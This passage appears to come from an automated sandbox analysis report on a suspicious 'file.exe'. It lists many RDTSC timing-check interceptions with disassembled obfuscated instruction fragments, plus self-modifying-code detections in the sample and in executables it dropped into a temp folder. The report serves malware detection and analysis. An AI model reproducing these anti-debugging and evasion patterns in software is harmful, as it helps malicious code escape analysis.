Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010135 second address: 501015D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE71263CF8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501015D second address: 5010163 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010163 second address: 501019C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDE71263CEAh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [eax] 0x0000000f pushad 0x00000010 mov eax, edx 0x00000012 push edi 0x00000013 mov edi, eax 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jmp 00007FDE71263CF2h 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501019C second address: 50101A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50101A0 second address: 50101A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50101A6 second address: 50101FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 29D7EAA5h 0x0000000e jmp 00007FDE70D000D1h 0x00000013 add dword ptr [esp], 4BCD40CBh 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushfd 0x0000001e jmp 00007FDE70D000CAh 0x00000023 xor ax, 9308h 0x00000028 jmp 00007FDE70D000CBh 0x0000002d popfd 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50101FA second address: 5010269 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 mov edi, esi 0x0000000a pop ecx 0x0000000b popad 0x0000000c mov eax, dword ptr fs:[00000000h] 0x00000012 jmp 00007FDE71263CF3h 0x00000017 nop 0x00000018 pushad 0x00000019 mov ebx, ecx 0x0000001b jmp 00007FDE71263CF0h 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FDE71263CF1h 0x00000029 and ax, 6E36h 0x0000002e jmp 00007FDE71263CF1h 0x00000033 popfd 0x00000034 mov bh, al 0x00000036 popad 0x00000037 nop 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010269 second address: 501026D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501026D second address: 5010271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010271 second address: 5010277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010277 second address: 501029B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501029B second address: 50102B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50102B6 second address: 50102FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FDE71263CEEh 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007FDE71263CF7h 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50102FE second address: 501032F instructions: 0x00000000 rdtsc 0x00000002 mov ax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dx, 16D8h 0x0000000b popad 0x0000000c xchg eax, ebx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop ecx 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 popad 0x00000015 push esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDE70D000D9h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501032F second address: 501035C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov eax, edx 0x00000011 jmp 00007FDE71263CEFh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501035C second address: 501039A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a jmp 00007FDE70D000CEh 0x0000000f push eax 0x00000010 jmp 00007FDE70D000CBh 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501039A second address: 501039F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501039F second address: 50103E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE70D000D8h 0x00000009 sub eax, 0F5871E8h 0x0000000f jmp 00007FDE70D000CBh 0x00000014 popfd 0x00000015 mov ax, 35DFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov eax, dword ptr [75AB4538h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 push ebx 0x00000025 pop eax 0x00000026 movsx edi, cx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50103E2 second address: 50103E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50103E8 second address: 501040E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [ebp-08h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501040E second address: 5010414 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010414 second address: 50104ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE70D000D8h 0x00000009 adc esi, 4E4A3908h 0x0000000f jmp 00007FDE70D000CBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FDE70D000D8h 0x0000001b or esi, 3B76DB68h 0x00000021 jmp 00007FDE70D000CBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a xor eax, ebp 0x0000002c jmp 00007FDE70D000CFh 0x00000031 nop 0x00000032 jmp 00007FDE70D000D6h 0x00000037 push eax 0x00000038 jmp 00007FDE70D000CBh 0x0000003d nop 0x0000003e jmp 00007FDE70D000D6h 0x00000043 lea eax, dword ptr [ebp-10h] 0x00000046 jmp 00007FDE70D000D0h 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007FDE70D000D7h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50104ED second address: 50104F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50104F3 second address: 50104F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50104F7 second address: 5010556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-18h], esp 0x0000000b pushad 0x0000000c mov bl, C9h 0x0000000e pushfd 0x0000000f jmp 00007FDE71263CF6h 0x00000014 add cx, 5748h 0x00000019 jmp 00007FDE71263CEBh 0x0000001e popfd 0x0000001f popad 0x00000020 mov eax, dword ptr fs:[00000018h] 0x00000026 jmp 00007FDE71263CF6h 0x0000002b mov ecx, dword ptr [eax+00000FDCh] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5010556 second address: 501055C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501055C second address: 501059E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b jmp 00007FDE71263CF0h 0x00000010 jns 00007FDE71263D1Bh 0x00000016 pushad 0x00000017 mov eax, 1DCD0F4Dh 0x0000001c call 00007FDE71263CEAh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 501059E second address: 50105AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 add eax, ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50105AD second address: 50105B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50001C3 second address: 500023F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pushad 0x00000011 mov cl, F7h 0x00000013 movsx edi, ax 0x00000016 popad 0x00000017 popad 0x00000018 sub esp, 2Ch 0x0000001b pushad 0x0000001c mov dl, ah 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FDE70D000D1h 0x00000025 sub ecx, 0B15FDD6h 0x0000002b jmp 00007FDE70D000D1h 0x00000030 popfd 0x00000031 mov si, 2547h 0x00000035 popad 0x00000036 popad 0x00000037 xchg eax, ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FDE70D000D4h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500023F second address: 500024E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500024E second address: 5000274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDE70D000D9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000274 second address: 500027A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500027A second address: 50002BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE70D000CAh 0x00000009 and cx, E7E8h 0x0000000e jmp 00007FDE70D000CBh 0x00000013 popfd 0x00000014 mov bx, ax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebx 0x0000001b jmp 00007FDE70D000D2h 0x00000020 xchg eax, edi 0x00000021 pushad 0x00000022 movsx edx, ax 0x00000025 popad 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50002BF second address: 50002C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50002C3 second address: 50002D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50002D3 second address: 50002E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000375 second address: 50003A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDE70D000CDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50003A3 second address: 50003B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CECh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50003B3 second address: 500041B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FDE70D00272h 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FDE70D000CDh 0x00000015 adc ch, 00000056h 0x00000018 jmp 00007FDE70D000D1h 0x0000001d popfd 0x0000001e mov dh, ch 0x00000020 popad 0x00000021 lea ecx, dword ptr [ebp-14h] 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 movzx esi, dx 0x0000002a pushfd 0x0000002b jmp 00007FDE70D000D1h 0x00000030 xor si, 1266h 0x00000035 jmp 00007FDE70D000D1h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500041B second address: 5000439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000439 second address: 500043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500043D second address: 5000443 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50004FF second address: 5000505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000505 second address: 500052B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FDE71263D40h 0x0000000e pushad 0x0000000f movzx eax, dx 0x00000012 pushad 0x00000013 movsx edx, si 0x00000016 push esi 0x00000017 pop edi 0x00000018 popad 0x00000019 popad 0x0000001a cmp dword ptr [ebp-14h], edi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov ecx, edx 0x00000022 mov cx, bx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500052B second address: 5000589 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDE70D000D4h 0x00000008 pop esi 0x00000009 jmp 00007FDE70D000CBh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jne 00007FDEE175E010h 0x00000017 jmp 00007FDE70D000D6h 0x0000001c mov ebx, dword ptr [ebp+08h] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FDE70D000D7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000589 second address: 50005E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDE71263CEBh 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c lea eax, dword ptr [ebp-2Ch] 0x0000000f pushad 0x00000010 mov dx, 49C8h 0x00000014 movsx ebx, ax 0x00000017 popad 0x00000018 xchg eax, esi 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FDE71263CF6h 0x00000020 xor ch, 00000028h 0x00000023 jmp 00007FDE71263CEBh 0x00000028 popfd 0x00000029 movzx ecx, bx 0x0000002c popad 0x0000002d push eax 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FDE71263CECh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50005E4 second address: 50005F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50005F3 second address: 5000641 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FDE71263CEEh 0x0000000f nop 0x00000010 jmp 00007FDE71263CF0h 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FDE71263CEEh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000641 second address: 5000687 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FDE70D000CFh 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushfd 0x00000014 jmp 00007FDE70D000D2h 0x00000019 jmp 00007FDE70D000D5h 0x0000001e popfd 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000687 second address: 50006CC instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDE71263CF0h 0x00000008 xor al, 00000068h 0x0000000b jmp 00007FDE71263CEBh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 movzx eax, dx 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 mov bx, si 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDE71263CF0h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50006CC second address: 50006D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50006D0 second address: 50006D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50006F7 second address: 50006FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50006FC second address: 5000723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 mov ax, 05EDh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov esi, eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov cx, bx 0x00000014 call 00007FDE71263CF1h 0x00000019 pop esi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000723 second address: 500001B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007FDE70D000D0h 0x00000010 je 00007FDEE175DFD4h 0x00000016 xor eax, eax 0x00000018 jmp 00007FDE70CD97FAh 0x0000001d pop esi 0x0000001e pop edi 0x0000001f pop ebx 0x00000020 leave 0x00000021 retn 0004h 0x00000024 nop 0x00000025 mov edi, eax 0x00000027 cmp edi, 00000000h 0x0000002a setne al 0x0000002d xor ebx, ebx 0x0000002f test al, 01h 0x00000031 jne 00007FDE70D000C7h 0x00000033 jmp 00007FDE70D001B9h 0x00000038 call 00007FDE75097840h 0x0000003d mov edi, edi 0x0000003f jmp 00007FDE70D000D2h 0x00000044 xchg eax, ebp 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500001B second address: 500001F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500001F second address: 5000023 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000023 second address: 5000029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000029 second address: 5000038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE70D000CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000038 second address: 5000068 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE71263CF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d mov edx, 36E70E92h 0x00000012 mov dh, 81h 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000068 second address: 500006C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500006C second address: 5000072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000072 second address: 5000094 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000094 second address: 5000098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5000098 second address: 500009E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 500009E second address: 50000AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE71263CEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50000AD second address: 50000C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDE70D000D1h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50000C9 second address: 50000CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50000CF second address: 50000F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE70D000D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50000F1 second address: 50000F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E3E032 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E3C744 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C91372 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E46CD8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: ECE90C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Special instruction interceptor: First address: 5FEB96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Special instruction interceptor: First address: 79C6C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe	Special instruction interceptor: First address: 828C0A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe	Special instruction interceptor: First address: 6D1A4C instructions caused by: Self-modifying code
